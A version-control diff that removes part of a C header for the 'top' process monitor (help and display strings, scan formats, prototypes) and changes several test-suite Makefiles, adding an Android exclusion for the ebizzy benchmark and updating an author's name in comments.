-   { P_MEM, DEF_WINFLGS, 0, \
-      COLOR_MAGENTA, COLOR_MAGENTA, COLOR_BLUE, COLOR_MAGENTA, \
-      "Mem", MEM_FIELDS }, \
-   { P_URE, DEF_WINFLGS, 0, \
-      COLOR_YELLOW, COLOR_YELLOW, COLOR_GREEN, COLOR_YELLOW, \
-      "Usr", USR_FIELDS } \
-   } }
-
-        /* These are the possible fscanf formats used in /proc/stat
-           reads during history processing.
-           ( 5th number only for Linux 2.5.41 and above ) */
-#define CPU_FMTS_JUST1  "cpu %Lu %Lu %Lu %Lu %Lu"
-#ifdef PRETEND4CPUS
-#define CPU_FMTS_MULTI CPU_FMTS_JUST1
-#else
-#define CPU_FMTS_MULTI  "cpu%*d %Lu %Lu %Lu %Lu %Lu"
-#endif
-
-        /* Summary Lines specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions. */
-#define LOADAV_line  "%s -%s\n"
-#define LOADAV_line_alt  "%s\06 -%s\n"
-#define STATES_line1  "Tasks:\03" \
-   " %3u \02total,\03 %3u \02running,\03 %3u \02sleeping,\03 %3u \02stopped,\03 %3u \02zombie\03\n"
-#define STATES_line2x4  "%s\03" \
-   " %#5.1f%% \02user,\03 %#5.1f%% \02system,\03 %#5.1f%% \02nice,\03 %#5.1f%% \02idle\03\n"
-#define STATES_line2x5  "%s\03" \
-   " %#5.1f%% \02user,\03 %#5.1f%% \02system,\03 %#5.1f%% \02nice,\03 %#5.1f%% \02idle,\03 %#5.1f%% \02IO-wait\03\n"
-#ifdef CASEUP_SUMMK
-#define MEMORY_line1  "Mem: \03" \
-   " %8uK \02total,\03 %8uK \02used,\03 %8uK \02free,\03 %8uK \02buffers\03\n"
-#define MEMORY_line2  "Swap:\03" \
-   " %8uK \02total,\03 %8uK \02used,\03 %8uK \02free,\03 %8uK \02cached\03\n"
-#else
-#define MEMORY_line1  "Mem: \03" \
-   " %8uk \02total,\03 %8uk \02used,\03 %8uk \02free,\03 %8uk \02buffers\03\n"
-#define MEMORY_line2  "Swap:\03" \
-   " %8uk \02total,\03 %8uk \02used,\03 %8uk \02free,\03 %8uk \02cached\03\n"
-#endif
-
-        /* Keyboard Help specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions. */
-#define KEYS_help \
-   "Help for Interactive Commands\02 - %s\n" \
-   "Window \01%s\06: \01Cumulative mode \03%s\02.  \01System\06: \01Delay \03%.1f secs\02; \01Secure mode \03%s\02.\n" \
-   "\n" \
-   "  Z\05,\01B\05       Global: '\01Z\02' change color mappings; '\01B\02' disable/enable bold\n" \
-   "  l,t,m     Toggle Summaries: '\01l\02' load avg; '\01t\02' task/cpu stats; '\01m\02' mem info\n" \
-   "  1,I       Toggle SMP view: '\0011\02' single/separate states; '\01I\02' Irix/Solaris mode\n" \
-   "\n" \
-   "  f,o     . Fields/Columns: '\01f\02' add or remove; '\01o\02' change display order\n" \
-   "  F or O  . Select sort field\n" \
-   "  <,>     . Move sort field: '\01<\02' next col left; '\01>\02' next col right\n" \
-   "  R       . Toggle normal/reverse sort\n" \
-   "  c,i,S   . Toggle: '\01c\02' cmd name/line; '\01i\02' idle tasks; '\01S\02' cumulative time\n" \
-   "  x\05,\01y\05     . Toggle highlights: '\01x\02' sort field; '\01y\02' running tasks\n" \
-   "  z\05,\01b\05     . Toggle: '\01z\02' color/mono; '\01b\02' bold/reverse (only if 'x' or 'y')\n" \
-   "  u       . Show specific user only\n" \
-   "  n or #  . Set maximum tasks displayed\n" \
-   "\n" \
-   "%s" \
-   "  W         Write configuration file\n" \
-   "  q         Quit\n" \
-   "          ( commands shown with '.' require a \01visible\02 task display \01window\02 ) \n" \
-   "Press '\01h\02' or '\01?\02' for help with \01Windows\02,\n" \
-   "any other key to continue " \
-   ""
-
-        /* This guy goes into the help text (maybe) */
-#define KEYS_help_unsecured \
-   "  k,r       Manipulate tasks: '\01k\02' kill; '\01r\02' renice\n" \
-   "  d or s    Set update interval\n" \
-   ""
-
-        /* Fields Reorder/Toggle specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions
-           note: the leading newline below serves really dumb terminals;
-                 if there's no 'cursor_home', the screen will be a mess
-                 but this part will still be functional. */
-#define FIELDS_current \
-   "\n%sCurrent Fields\02: \01 %s \04 for window \01%s\06\n%s " \
-   ""
-
-        /* Some extra explanatory text which accompanies the Fields display.
-           note: the newlines cannot actually be used, they just serve as
-                 substring delimiters for the 'display_fields' routine. */
-#define FIELDS_xtra \
-   "Flags field:\n" \
-   "  0x00000001  PF_ALIGNWARN\n" \
-   "  0x00000002  PF_STARTING\n" \
-   "  0x00000004  PF_EXITING\n" \
-   "  0x00000040  PF_FORKNOEXEC\n" \
-   "  0x00000100  PF_SUPERPRIV\n" \
-   "  0x00000200  PF_DUMPCORE\n" \
-   "  0x00000400  PF_SIGNALED\n" \
-   "  0x00000800  PF_MEMALLOC\n" \
-   "  0x00002000  PF_FREE_PAGES (2.5)\n" \
-   "  0x00008000  debug flag (2.5)\n" \
-   "  0x00024000  special threads (2.5)\n" \
-   "  0x001D0000  special states (2.5)\n" \
-   "  0x00100000  PF_USEDFPU (thru 2.4)\n" \
-   ""
-/* no room, sacrificed this one:  'Killed for out-of-memory' */
-/* "  0x00001000  PF_MEMDIE (2.5)\n" ....................... */
-
-        /* Sort Select specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions
-           note: the leading newline below serves really dumb terminals;
-                 if there's no 'cursor_home', the screen will be a mess
-                 but this part will still be functional. */
-#define SORT_fields \
-   "\n%sCurrent Sort Field\02: \01 %c \04 for window \01%s\06\n%s " \
-   ""
-
-        /* Some extra explanatory text which accompanies the Sort display.
-           note: the newlines cannot actually be used, they just serve as
-                 substring delimiters for the 'display_fields' routine. */
-#define SORT_xtra \
-   "Note1:\n" \
-   "  If a selected sort field can't be\n" \
-   "  shown due to screen width or your\n" \
-   "  field order, the '<' and '>' keys\n" \
-   "  will be unavailable until a field\n" \
-   "  within viewable range is chosen.\n" \
-   "\n" \
-   "Note2:\n" \
-   "  Field sorting uses internal values,\n" \
-   "  not those in column display.  Thus,\n" \
-   "  the TTY & WCHAN fields will violate\n" \
-   "  strict ASCII collating sequence.\n" \
-   "  (shame on you if WCHAN is chosen)\n" \
-   ""
-
-        /* Colors Help specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions. */
-#define COLOR_help \
-   "Help for color mapping\02 - %s\n" \
-   "current window: \01%s\06\n" \
-   "\n" \
-   "   color - 04:25:44 up 8 days, 50 min,  7 users,  load average:\n" \
-   "   Tasks:\03  64 \02total,\03   2 \03running,\03  62 \02sleeping,\03   0 \02stopped,\03\n" \
-   "   Cpu(s):\03  76.5%% \02user,\03  11.2%% \02system,\03   0.0%% \02nice,\03  12.3%% \02idle\03\n" \
-   "   \01 Nasty Message! \04  -or-  \01Input Prompt\05\n" \
-   "   \01  PID TTY     PR  NI %%CPU    TIME+   VIRT SWAP STA Command  \06\n" \
-   "   17284 \10pts/2  \07  8   0  0.0   0:00.75  1380    0 S   /bin/bash \10\n" \
-   "   \01 8601 pts/1    7 -10  0.4   0:00.03   916    0 R < color -b \07\n" \
-   "   11005 \10?      \07  9   0  0.0   0:02.50  2852 1008 S   amor -ses \10\n" \
-   "   available toggles: \01B\02 =disable bold globally (\01%s\02),\n" \
-   "       \01z\02 =color/mono (\01%s\02), \01b\02 =tasks \"bold\"/reverse (\01%s\02)\n" \
-   "\n" \
-   "Select \01target\02 as upper case letter:\n" \
-   "   S\02 = Summary Data,\01  M\02 = Messages/Prompts,\n" \
-   "   H\02 = Column Heads,\01  T\02 = Task Information\n" \
-   "Select \01color\02 as number:\n" \
-   "   0\02 = black,\01  1\02 = red,    \01  2\02 = green,\01  3\02 = yellow,\n" \
-   "   4\02 = blue, \01  5\02 = magenta,\01  6\02 = cyan, \01  7\02 = white\n" \
-   "\n" \
-   "Selected: \01target\02 \01 %c \04; \01color\02 \01 %d \04\n" \
-   "   press 'q' to abort changes to window '\01%s\02'\n" \
-   "   press 'a' or 'w' to commit & change another, <Enter> to commit and end " \
-   ""
-
-        /* Windows/Field Group Help specially formatted string(s) --
-           see 'show_special' for syntax details + other cautions. */
-#define WINDOWS_help \
-   "Help for Windows / Field Groups\02 - \"Current Window\" = \01 %s \06\n" \
-   "\n" \
-   ". Use multiple \01windows\02, each with separate config opts (color,fields,sort,etc)\n" \
-   ". The 'current' window controls the \01Summary Area\02 and responds to your \01Commands\02\n" \
-   "  . that window's \01task display\02 can be turned \01Off\02 & \01On\02, growing/shrinking others\n" \
-   "  . with \01NO\02 task display, some commands will be \01disabled\02 ('i','R','n','c', etc)\n" \
-   "    until a \01different window\02 has been activated, making it the 'current' window\n" \
-   ". You \01change\02 the 'current' window by: \01 1\02) cycling forward/backward;\01 2\02) choosing\n" \
-   "  a specific field group; or\01 3\02) exiting the color mapping screen\n" \
-   ". Commands \01available anytime   -------------\02\n" \
-   "    A       . Alternate display mode toggle, show \01Single\02 / \01Multiple\02 windows\n" \
-   "    G       . Choose another field group and make it 'current', or change now\n" \
-   "              by selecting a number from: \01 1\02 =%s;\01 2\02 =%s;\01 3\02 =%s; or\01 4\02 =%s\n" \
-   ". Commands \01requiring\02 '\01A\02' mode\01  -------------\02\n" \
-   "    g       . Change the \01Name\05 of the 'current' window/field group\n" \
-   " \01*\04  a , w   . Cycle through all four windows:  '\01a\05' Forward; '\01w\05' Backward\n" \
-   " \01*\04  - , _   . Show/Hide:  '\01-\05' \01Current\02 window; '\01_\05' all \01Visible\02/\01Invisible\02\n" \
-   "  The screen will be divided evenly between task displays.  But you can make\n" \
-   "  some \01larger\02 or \01smaller\02, using '\01n\02' and '\01i\02' commands.  Then later you could:\n" \
-   " \01*\04  = , +   . Rebalance tasks:  '\01=\05' \01Current\02 window; '\01+\05' \01Every\02 window\n" \
-   "              (this also forces the \01current\02 or \01every\02 window to become visible)\n" \
-   "\n" \
-   "In '\01A\02' mode, '\01*\04' keys are your \01essential\02 commands.  Please try the '\01a\02' and '\01w\02'\n" \
-   "commands plus the 'G' sub-commands NOW.  Press <Enter> to make 'Current' " \
-   ""
-
-
-/*######  For Piece of mind  #############################################*/
-
-        /* just sanity check(s)... */
-#if USRNAMSIZ < GETBUFSIZ
-# error "Jeeze, USRNAMSIZ Must NOT be less than GETBUFSIZ !"
-#endif
-
-
-/*######  Some Prototypes (ha!)  #########################################*/
-
-   /* These 'prototypes' are here for documentation purposes and in
-    * preparation for a soon-to-occur top.c bust-up! */
-/*------  Sort callbacks  ------------------------------------------------*/
-/*        for each possible field, in the form of:                        */
-/*atic int          sort_P_XXX (const proc_t **P, const proc_t **Q);      */
-/*        additional specialized sort callback(s)                         */
-/*atic int          sort_HST_t (const HST_t *P, const HST_t *Q);         */
-/*------  Tiny useful routine(s)  ----------------------------------------*/
-//atic int          chin (int ech, char *buf, unsigned cnt);
-//atic const char  *fmtmk (const char *fmts, ...);
-//atic inline char *scat (char *restrict dst, const char *restrict src);
-//atic char        *strim_0 (char *str);
-//atic char        *strim_1 (char *str);
-//atic const char  *tg2 (int x, int y);
-/*------  Exit/Interrput routines  ---------------------------------------*/
-//atic void         bye_bye (int eno, const char *str);
-//atic void         end_pgm (int dont_care_sig);
-//atic void         std_err (const char *str);
-//atic void         suspend (int dont_care_sig);
-/*------  Misc Color/Display support  ------------------------------------*/
-//atic void         capsmk (WIN_t *q);
-//atic void         msg_save (const char *fmts, ...);
-//atic void         show_msg (const char *str);
-//atic void         show_pmt (const char *str);
-//atic void         show_special (int interact, const char *glob);
-/*------  Small Utility routines  ----------------------------------------*/
-//atic char        *ask4str (const char *prompt);
-//atic float        get_float (const char *prompt);
-//atic int          get_int (const char *prompt);
-//atic const char  *scale_num (unsigned num, const int width, const unsigned type);
-//atic const char  *scale_tics (TIC_t tics, const int width);
-/*------  Library Alternatives  ------------------------------------------*/
-//atic void        *alloc_c (unsigned numb) MALLOC;
-//atic void        *alloc_r (void *q, unsigned numb) MALLOC;
-//atic CPU_t       *cpus_refresh (CPU_t *cpus);
-//atic void         prochlp (proc_t *this);
-//atic proc_t     **procs_refresh (proc_t **table, int flags);
-/*------  Field Table/RCfile compatability support  ----------------------*/
-/*atic FLD_t        Fieldstab[] = { ... }                                 */
-//atic int          ft_cvt_char (const int fr, const int to, int c);
-//atic inline int   ft_get_char (const int fr, int i);
-//atic int          ft_get_idx (const int fr, int c);
-//atic const FLD_t *ft_get_ptr (const int fr, int c);
-//atic const FLD_t *ft_idx_to_ptr (const int i);
-//atic int          ft_ptr_to_idx (const FLD_t *p);
-//atic void         rc_bugless (const RCF_t *const rc);
-//atic int          rc_read_new (const char *const buf, RCF_t *rc);
-//atic int          rc_read_old (const char *const buf, RCF_t *rc);
-//atic void         rc_write_new (FILE *fp);
-//atic void         rc_write_old (FILE *fp);
-//atic const char  *rc_write_whatever (void);
-/*------  Startup routines  ----------------------------------------------*/
-//atic void         before (char *me);
-//atic void         confighlp (char *fields);
-//atic void         configs_read (void);
-//atic void         parse_args (char **args);
-//atic void         whack_terminal (void);
-/*------  Field Selection/Ordering routines  -----------------------------*/
-//atic void         display_fields (const char *fields, const char *xtra);
-//atic void         fields_reorder (void);
-//atic void         fields_sort (void);
-//atic void         fields_toggle (void);
-/*------  Windows/Field Groups support  ----------------------------------*/
-//atic void         reframewins (void);
-//atic void         win_names (WIN_t *q, const char *name);
-//atic void         win_select (char ch);
-//atic int          win_warn (void);
-//atic void         winsclrhlp (WIN_t *q, int save);
-//atic void         wins_colors (void);
-//atic void         wins_reflag (int what, int flg);
-//atic void         wins_resize (int dont_care_sig);
-//atic void         windows_stage1 (void);
-//atic void         windows_stage2 (void);
-/*------  Main Screen routines  ------------------------------------------*/
-//atic void         do_key (unsigned c);
-//atic void         summaryhlp (CPU_t *cpu, const char *pfx);
-//atic proc_t     **summary_show (void);
-//atic void         task_show (const WIN_t *q, const proc_t *p);
-//atic void         window_show (proc_t **ppt, WIN_t *q, int *lscr);
-/*------  Entry point plus two  ------------------------------------------*/
-//atic void         framehlp (int wix, int max);
-//atic void         frame_make (void);
-//     int          main (int dont_care_argc, char **argv);
-
-#endif /* _Itop */
-
diff --git a/utils/benchmark/Makefile b/utils/benchmark/Makefile
index 9d29f88..2368376 100644
--- a/utils/benchmark/Makefile
+++ b/utils/benchmark/Makefile
@@ -21,4 +21,9 @@
 top_srcdir		?= ../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+
+ifeq ($(ANDROID),1)
+FILTER_OUT_DIRS		+= ebizzy-0.3
+endif
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/utils/benchmark/ebizzy-0.3/Makefile b/utils/benchmark/ebizzy-0.3/Makefile
index 41aadd4..e362619 100644
--- a/utils/benchmark/ebizzy-0.3/Makefile
+++ b/utils/benchmark/ebizzy-0.3/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # IMPORT NOTE: Be careful when upgrading this component as running the
diff --git a/utils/benchmark/kernbench-0.42/Makefile b/utils/benchmark/kernbench-0.42/Makefile
index 976ae39..0beb525 100644
--- a/utils/benchmark/kernbench-0.42/Makefile
+++ b/utils/benchmark/kernbench-0.42/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, November 2009
+# Ngie Cooper, November 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/utils/sctp/Makefile b/utils/sctp/Makefile
index 181e6f3..93551b3 100644
--- a/utils/sctp/Makefile
+++ b/utils/sctp/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
diff --git a/utils/sctp/lib/Makefile b/utils/sctp/lib/Makefile
index 810bbb6..c0cb35b 100644
--- a/utils/sctp/lib/Makefile
+++ b/utils/sctp/lib/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/utils/sctp/testlib/Makefile b/utils/sctp/testlib/Makefile
index e7b5a51..2977f45 100644
--- a/utils/sctp/testlib/Makefile
+++ b/utils/sctp/testlib/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..